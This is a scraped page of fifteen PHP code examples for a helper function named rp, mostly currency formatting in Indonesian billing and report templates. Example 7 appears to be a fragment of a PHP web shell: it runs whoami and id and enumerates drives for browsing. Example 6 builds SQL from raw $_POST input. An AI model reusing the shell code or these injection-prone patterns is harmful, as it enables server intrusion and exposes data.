本文整理汇总了PHP中rp函数的典型用法代码示例。如果您正苦于以下问题:PHP rp函数的具体用法?PHP rp怎么用?PHP rp使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了rp函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: anchor
<tr><td colspan="7"><?php
echo anchor('keuangan/cetakpersonal', 'Cetak Data', array('class' => 'btn btn-danger', 'target' => 'new'));
?>
</td></tr>
</table>
<table class="table table-bordered">
<tr class="success"><th colspan="7">Riwayat Transaksi Detail</th></tr>
<tr><th width="10">No</th>
<th width="500">Jenis Pembayaran</th>
<th width="120">Tanggal</th>
<th width="160">Jumlah</th>
<th width="200">Petugas</th><th width="10">Operasi</th></tr>
<?php
$i = 1;
foreach ($transaksi as $r) {
$smt = $r->jenis_bayar_id == 3 ? $r->semester : '';
echo "<tr>\n <td>{$i}</td>\n <td>" . strtoupper($r->keterangan) . " {$smt}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>Rp ." . rp((int) $r->jumlah) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td align='center'>" . anchor('keuangan/delete/' . $r->pembayara_detail_id, '<i class="fa fa-trash-o"></i>', array('title' => 'Hapus Catatan')) . "</td></tr>";
$i++;
}
?>
</table>
<?php
} else {
?>
<?php
}
示例2: parseSQLFile
function parseSQLFile($filename, &$tables, &$edges)
{
//init
$tables = array();
$edges = array();
//parse file
$file = file($filename);
for ($i = 0; $i < count($file); ++$i) {
$line = trim($file[$i]);
//node
if (beginsWith($line, "CREATE TABLE")) {
$parts = explode(" ", $line);
$current_table = $parts[2];
$tables[$current_table] = array();
$j = $i + 1;
$line = trim($file[$j]);
//table
while (!beginsWith($line, "CREATE TABLE") && !beginsWith($line, "ALTER TABLE") && $line != "") {
//primary key
if (beginsWith($line, "PRIMARY KEY")) {
$parts = explode(" ", $line);
$tables[$current_table][rp($parts[3])][] = "P";
} elseif (beginsWith($line, "KEY")) {
$parts = explode(" ", $line);
$tables[$current_table][rp($parts[2])][] = "I";
} else {
$parts = explode(" ", $line);
if ($parts[0] != ")") {
$tables[$current_table][$parts[0]] = array();
}
}
++$j;
$line = trim($file[$j]);
}
} elseif (beginsWith($line, "ALTER TABLE")) {
$parts = explode("`", $line);
$from = $parts[1];
$j = $i + 1;
while (beginsWith(trim($file[$j]), "ADD CONSTRAINT")) {
$parts = explode(" ", $file[$j]);
$to = $parts[9];
$tables[$from][rp($parts[7])][] = "F";
$edges[] = array($from, $to);
++$j;
}
}
}
}
示例3: cetak_pt
function cetak_pt($enkrip = null, $id = null)
{
// $enkrip=$this->enkrip();
if ($id != null) {
$data = $this->ptdb->getonept($id);
// print_r($data);
$div = '';
$div .= '<table class="table table-condensed table-striped table-bordered">';
$div .= '<tbody>';
// $div.='<tr>';
$div .= '<tr><th>Faktur PO:</th><td>' . $data['faktur_pt'] . '</td><th>Tanggal PO</th><td>' . $data['tgl_pt'] . '</td></tr>';
$div .= '<tr><th>Supplier:</th><td>' . $data['namasupplier'] . ' (' . $data['kdsupplier'] . ')</td><th>Tanggal Kirim</th><td>' . $data['tgl_kirim_pt'] . '</td></tr>';
$div .= '<tr><th>Status PO:</th><td>' . $data['status'] . '</td><td>Tanggal Kedaluarsa</td><td>' . $data['tgl_kedaluarsa_pt'] . '</td></tr>';
$div .= '<tr><th>Total:</th><td>' . rp($data['totalbayar']) . '</td><th>Pembayaran:</th><td>' . $data['jenis_pembayaran'] . '</td></tr>';
$div .= "</tbody></table><table class='table table-condesed table-striped'><tbody>";
$div .= '<tr><th class="text-center">No</th><th class="text-center">Kode</th>
<th class="text-center">Nama Barang</th>
<th class="text-center">Jumlah</th>
<th class="text-center">Satuan</th>
<th class="text-center">Harga</th>
<th class="text-center">Subtotal</th>
</tr>';
$detail = $this->ptdb->get_detail_pt($data['faktur_pt']);
// print_r($detail);
$jdetail = count($detail);
$j = 1;
for ($i = 0; $i < $jdetail; $i++) {
# code...
$div .= '<tr ><td class="text-center">' . $j . '</td><td class="text-center">' . $detail[$i]['Kode'] . '</td><td>' . $detail[$i]['Nama'] . '</td><td class="text-center">' . $detail[$i]['jumlah'] . '</td><td class="text-center">' . $detail[$i]['satuan'] . '</td><td class="text-right">' . rp($detail[$i]['harga']) . '</td><td class="text-right">' . rp($detail[$i]['subtotal']) . '</td></tr>';
$j++;
}
$div .= "<tr><td colspan='5'></td><th class='text-right'><h3>Total</h3></th><th class='text-right'><h3>" . rp($data['totalbayar']) . "</h3></th></tr>";
$div .= "</tbody></table>";
$this->template->set_layout('cetak');
$this->template->load_view('cetak_pt_baru', array('content' => $div, 'data' => $data, 'detail' => $detail));
}
}
示例4: tgl_indo
Sampai <?php
echo tgl_indo($this->uri->segment(4));
?>
</td></tr>
</table><hr>
<br><table border="1" cellspacing="0">
<tr>
<th>No</th>
<th>Tanggal</th>
<th width="60">NIM</th>
<th width="120">Nama Mahasiswa</th>
<th width="130">Program Studi</th>
<th width="120">Jenis Pembayaran</th>
<th width="90">Total</th>
</tr>
<?php
$no = 1;
$total = 0;
foreach ($transaksi as $r) {
echo "<tr><td>{$no}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>" . strtoupper($r->nim) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td>" . strtoupper($r->nama_konsentrasi) . "</td>\n <td>" . strtoupper($r->keterangan) . "</td>\n <td align='right'>" . rp((int) $r->jumlah) . "</td>\n </tr>";
$no++;
$total = $total + $r->jumlah;
}
?>
<tr>
<td align='right' colspan='6'><b>Grand Total</b></td>
<td align='right'><b><?php
echo rp($total);
?>
</b></td>
</tr></table>
示例5: requested_url
function requested_url()
{
global $config;
$page = str_replace(rp(), '', $_SERVER['REQUEST_URI']);
$page = !empty($_SERVER['REQUEST_URI']) ? preg_replace('#^/?(.*?)/?$#', '\\1', $page) : '';
return $page;
}
示例6: mysql_query
// Baca input tanggal yang dikirimkan user
$mulai = $_POST[thn_mulai] . '-' . $_POST[bln_mulai] . '-' . $_POST[tgl_mulai];
$selesai = $_POST[thn_selesai] . '-' . $_POST[bln_selesai] . '-' . $_POST[tgl_selesai];
// Query untuk merelasikan kedua tabel di filter berdasarkan tanggal
$sql = mysql_query("SELECT orders.id_orders as faktur,DATE_FORMAT(tgl_order, '%d-%m-%Y') as tanggal,\n nama_produk,jumlah,harga \n FROM orders, orders_detail, produk \n WHERE (orders_detail.id_produk=produk.id_produk) \n AND (orders_detail.id_orders=orders.id_orders) \n AND (orders.status_order='Lunas') \n AND (orders.tgl_order BETWEEN '{$mulai}' AND '{$selesai}')");
$jml = mysql_num_rows($sql);
if ($jml > 0) {
$i = 1;
while ($r = mysql_fetch_array($sql)) {
$quantityharga = rp($r[jumlah] * $r[harga]);
$hargarp = rp($r[harga]);
$faktur = $r[faktur];
$data[$i] = array('<b>No</b>' => $i, '<b>Faktur</b>' => $faktur, '<b>Tanggal</b>' => $r[tanggal], '<b>Nama Produk</b>' => $r[nama_produk], '<b>Qty</b>' => $r[jumlah], '<b>Harga</b>' => $hargarp, '<b>Sub Total</b>' => $quantityharga);
$total = $total + $r[jumlah] * $r[harga];
$totqu = $totqu + $r[jumlah];
$i++;
}
$pdf->ezTable($data, '', '', '');
$tot = rp($total);
$pdf->ezText("\n\nTotal keseluruhan : Rp. {$tot}");
$pdf->ezText("\nJumlah yang terjual : {$jml} unit");
$pdf->ezText("Jumlah keseluruhan yg terjual: {$totqu} unit");
// Penomoran halaman
$pdf->ezStartPageNumbers(320, 15, 8);
$pdf->ezStream();
} else {
$m = $_POST[tgl_mulai] . '-' . $_POST[bln_mulai] . '-' . $_POST[thn_mulai];
$s = $_POST[tgl_selesai] . '-' . $_POST[bln_selesai] . '-' . $_POST[thn_selesai];
echo "Tidak ada transaksi/order pada Tanggal {$m} s/d {$s}";
}
}
示例7: php_uname
$s_safemode = FALSE;
}
// uname -a
$s_system = php_uname();
// check os
$s_win = FALSE;
if (strtolower(substr($s_system, 0, 3)) == "win") {
$s_win = TRUE;
}
// get path and all drives available
$letters = '';
if (!$s_win) {
if (!($s_user = rp(exe("whoami")))) {
$s_user = "";
}
if (!($s_id = rp(exe("id")))) {
$s_id = "";
}
$pwd = getcwd() . DIRECTORY_SEPARATOR;
} else {
$s_user = get_current_user();
$s_id = $s_user;
$pwd = realpath(".") . "\\";
// find drive letters
$v = explode("\\", $d);
$v = $v[0];
foreach (range("A", "Z") as $letter) {
$bool = @is_dir($letter . ":\\");
if ($bool) {
$letters .= "<a href=\"?d=" . $letter . ":\\\">[ ";
if ($letter . ":" != $v) {
示例8: form_input
<?php
echo form_input('biayakirimx', set_value('biayakirimx', isset($default['biayakirim']) ? rp($default['biayakirim']) : ''), 'id="biayakirimx" class="form-control input-lg text-right" style="font-size:24px;" placeholder="Masukkan biayakirimx" disabled');
?>
</div>
</div>
<div class="form-group">
<?php
echo form_label('grandtotal : ', 'grandtotal', array('class' => 'control-label'));
?>
<div class="controls">
<?php
echo form_input('grandtotal', set_value('grandtotal', isset($default['grandtotal']) ? $default['grandtotal'] : ''), 'id="grandtotal" class="form-control input-lg text-right hidden" readonly style="font-size:24px;" placeholder="Masukkan grandtotal"');
?>
<?php
echo form_input('grandtotalx', set_value('grandtotalx', isset($default['grandtotal']) ? rp($default['grandtotal']) : ''), 'id="grandtotalx" class="form-control input-lg text-right" style="font-size:24px;" placeholder="Masukkan grandtotalx" disabled');
?>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
<?php
$act = $this->session->userdata('action');
if ($act['baru'] == 1) {
?>
<button id="save_retur" type="submit" class="btn btn-lg btn-success"><icon class="fa fa-floppy-o"></icon> Simpan</button>
<?php
示例9: rp
<td><?php
echo rp((int) $totalsmpp);
?>
</td>
<td><?php
echo rp($wisuda);
?>
</td>
<td><?php
echo rp($totallain);
?>
</td>
<td><?php
echo rp($totalsmpp + $totallain + $totalwisuda);
?>
</td>
</tr>
<tr>
<td colspan="5"><p align="right" >Jumlah Debit</p></td>
<td colspan="3"><p align="right" ><?php
echo rp($totalsmpp + $totallain + $totalwisuda);
?>
</p></td>
<td><?php
echo rp($totalsmpp + $totallain + $totalwisuda);
?>
</td>
</tr>
</table>
示例10: rp
echo "</tr>";
}
?>
</tbody>
</table>
</div><!-- /table-responsive -->
<table class="table invoice-total">
<tbody>
<tr>
<td><strong>Total :</strong></td>
<td><?php
echo rp($data['totalbayar']);
?>
</td>
</tr>
<!-- <tr>
<td><strong>PAJAK :</strong></td>
<td>$235.98</td>
</tr>
<tr>
<td><strong>GRAND TOTAL :</strong></td>
<td>$1261.98</td>
</tr> -->
</tbody>
</table>
<?php
}
示例11: explode
$pdf->addObject($all, 'all');
// Baca input tanggal yang dikirimkan user
$tgl1 = $_POST[thn_1] . '-' . $_POST[bln_1];
$pecah1 = explode("-", $tgl1);
$month1 = $pecah1[1];
$year1 = $pecah1[0];
// Query untuk merelasikan kedua tabel di filter berdasarkan tanggal
$sum = mysql_fetch_array(mysql_query("SELECT * FROM master_laporan WHERE bulan='{$month1}' AND tahun='{$year1}'"));
$sql = mysql_query("select * from master_laporan where tahun='{$year1}' and bulan='{$month1}'");
$jml = mysql_num_rows($sql);
if ($jml > 0) {
$i = 1;
while ($r = mysql_fetch_array($sql)) {
$n3 = rp($r[3]);
$n2 = rp($r[2]);
$n7 = rp($r[7]);
$n4 = rp($r[4]);
$n5 = rp($r[5]);
$n6 = rp($r[6]);
$data[$i] = array('<b>No</b>' => $i, '<b>Tahun</b>' => $r[0], '<b>Bulan</b>' => $r[1], '<b>Penjualan</b>' => $n2, '<b>Pembelian</b>' => $n3, '<b>Hpp</b>' => $n4, '<b>Biaya</b>' => $n5, '<b>Persd.Akhir</b>' => $n7, '<b>Laba</b>' => $n6);
$i++;
}
$pdf->ezTable($data, '', '', '');
// Penomoran halaman
$pdf->ezStartPageNumbers(320, 15, 8);
$pdf->ezStream();
} else {
$m = $_POST[bln_1];
$s = $_POST[thn_1];
echo "<script>window.alert('Tidak ada laporan laba rugi pada Bulan {$m} Tahun {$s}');\n window.location=('" . $uri . "/apotek/out.php')</script>";
}
示例12: strto
function strto($to, $str)
{
define('cs', 'utf-8');
if (!function_exists('rp')) {
function rp($i, $str)
{
$B = array('I', 'Ğ', 'Ü', 'Ş', 'İ', 'Ö', 'Ç');
$k = array('ı', 'ğ', 'ü', 'ş', 'i', 'ö', 'ç');
$Bi = array(' I', ' ı', ' İ', ' i');
$ki = array(' I', ' I', ' İ', ' İ');
if ($i == 1) {
return str_replace($B, $k, $str);
} elseif ($i == 2) {
return str_replace($k, $B, $str);
} elseif ($i == 3) {
return str_replace($Bi, $ki, $str);
}
}
}
if (!function_exists('cf')) {
function cf($c = array(), $str)
{
foreach ($c as $cc) {
$s = explode($cc, $str);
foreach ($s as $k => $ss) {
$s[$k] = strto('ucfirst', $ss);
}
$str = implode($cc, $s);
}
return $str;
}
}
if (!function_exists('te')) {
function te()
{
return trigger_error('Lütfen geçerli bir strto() parametresi giriniz.', E_USER_ERROR);
}
}
$to = explode('|', $to);
if ($to) {
foreach ($to as $t) {
if ($t == 'lower') {
$str = mb_strtolower(rp(1, $str), cs);
} elseif ($t == 'upper') {
$str = mb_strtoupper(rp(2, $str), cs);
} elseif ($t == 'ucfirst') {
$str = mb_strtoupper(rp(2, mb_substr($str, 0, 1, cs)), cs) . mb_substr($str, 1, mb_strlen($str, cs) - 1, cs);
} elseif ($t == 'ucwords') {
$str = ltrim(mb_convert_case(rp(3, ' ' . $str), MB_CASE_TITLE, cs));
} elseif ($t == 'capitalizefirst') {
$str = cf(array('. ', '.', '? ', '?', '! ', '!', ': ', ':'), $str);
} else {
$str = te();
}
}
} else {
$str = te();
}
return $str;
}
示例13: get_biaya_sudah_bayar
$sudah_bayar = (int) get_biaya_sudah_bayar($biodata['nim'], $jb->jenis_bayar_id);
$sisa = $jumlah_bayar - $sudah_bayar;
$ket = $sisa <= 0 ? 'Lunas' : 'Tunggakan ' . rp($sisa);
echo "<tr><td>{$no}</td>\n <td>" . strtoupper($jb->keterangan) . "</td>\n <td>" . rp($jumlah_bayar) . "</td>\n <td>" . rp($sudah_bayar) . "</td>\n <td>" . rp($sisa) . "</td>\n </tr>";
$no++;
$sisa_total = $sisa_total + $sisa;
}
// looping semester
for ($i = 1; $i <= $semester; $i++) {
$spp = (int) get_biaya_kuliah($tahun_akademik_id, 3, $konsentrasi_id, 'jumlah');
$spp_udah_bayar = (int) get_semester_sudah_bayar($biodata['nim'], $i);
$sisa = $spp - $spp_udah_bayar;
$keterangan = $sisa <= 0 ? 'Lunas' : 'Tunggakan ' . $sisa;
echo "<tr><td>{$no}</td>\n <td>SPP SEMESTER {$i}</td>\n <td>" . rp($spp) . "</td>\n <td>" . rp($spp_udah_bayar) . "</td>\n <td>" . rp($sisa) . "</td>";
$sisa_total = $sisa_total + $sisa;
$no++;
}
?>
<tr><td colspan="4" align="left">Total Yang Belum Dibayar</td><td><?php
echo rp($sisa_total);
?>
</td></tr>
</table>
<br><br>
Cimahi, <?php
echo tgl_indo(substr(waktu(), 0, 10));
?>
<br>
Bagian Keuangan<BR></br><br><br><br>
(...........................)
示例14: foreach
<th width="70">Nim</th>
<th>Nama Mahasiswa</th>
<th width="200">Program Studi</th>
<th width="220">Jenis Bayar</th>
<th width="60">Jumlah</th></tr>
<?php
$no = 1;
$jumlah = 0;
foreach ($transaksi as $r) {
echo "<tr>\n <td>{$no}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>" . strtoupper($r->nim) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td>" . strtoupper($r->nama_konsentrasi) . "</td>\n <td>" . strtoupper($r->keterangan) . "</td>\n \n <td align='right'>" . rp((int) $r->jumlah) . "</td>\n </tr>";
$jumlah = $jumlah + $r->jumlah;
$no++;
}
?>
<tr><td colspan="6"><p align='right'>Grand Total</p></td><td align='right'><?php
echo rp($jumlah);
?>
</td></tr>
</table>
<?php
}
?>
<script type="text/javascript">
function cetak(id,id2)
{
window.open('http://localhost/akademik/keuangan/cetak/','1397003076569','width=700,height=500,toolbar=0,menubar=0,location=0,status=1,scrollbars=1,resizable=1,left=0,top=0');
}
</script>
示例15: rp
</td>
<td><?php
echo $value['jumlah_satuan'] . " (" . $value['satuan'] . ")";
?>
</td>
<td class="text-right"><?php
echo rp($value['harga_satuan']);
?>
</td>
<td class="text-right"><?php
echo rp($value['subtotal']);
?>
</td>
</tr>
<?php
}
?>
<tr>
<th class="text-right" colspan="4">Total</th><td class="text-right"><?php
echo rp($data['total']);
?>
</td>
</tr>
</tbody>
<tfoot>
<tr></tr>
</tfoot>
</table>